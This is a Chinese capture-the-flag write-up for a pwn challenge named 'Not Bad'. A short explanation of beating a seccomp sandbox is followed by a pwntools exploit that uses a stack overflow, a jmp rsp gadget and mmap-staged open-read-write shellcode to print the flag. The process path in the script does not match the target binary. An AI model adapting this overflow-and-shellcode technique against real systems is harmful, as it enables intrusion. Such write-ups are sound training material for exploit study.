Not Bad

exp

有seccmop沙箱,只有几个函数可用,首先想到的思路是用orw打印flag。栈溢出长度有限写不下完整orw,但是题目栈和mmap分配的区域都可写可执行,我们只要通过jmp rsp控制程序流执行完整row即可

from pwn import *

io = process('./idaidg/linux_server64')
#io = remote('node3.buuoj.cn',25254)
context.binary=ELF('./bad')

jump_rsp = 0x400a01
mmap = 0x123000

payload = asm(shellcraft.read(0,mmap,0x100))+asm("mov rax,0x123000;call rax")
payload = payload.ljust(0x28,'a')
payload += p64(jump_rsp)
payload += asm('sub rsp,0x30;jmp rsp')

io.recvuntil('Easy shellcode, have fun!')
io.sendline(payload)

payload = ''
payload+=shellcraft.open('./flag')
payload+=shellcraft.read(3,mmap+0x200,0x100)
payload+=shellcraft.write(1,mmap+0x200,0x100)

sleep(0.2)
io.sendline(asm(payload))

io.interactive()

内容来源

https://blog.csdn.net/github_36788573/article/details/104780509

原文地址:https://www.cnblogs.com/luoleqi/p/13425549.html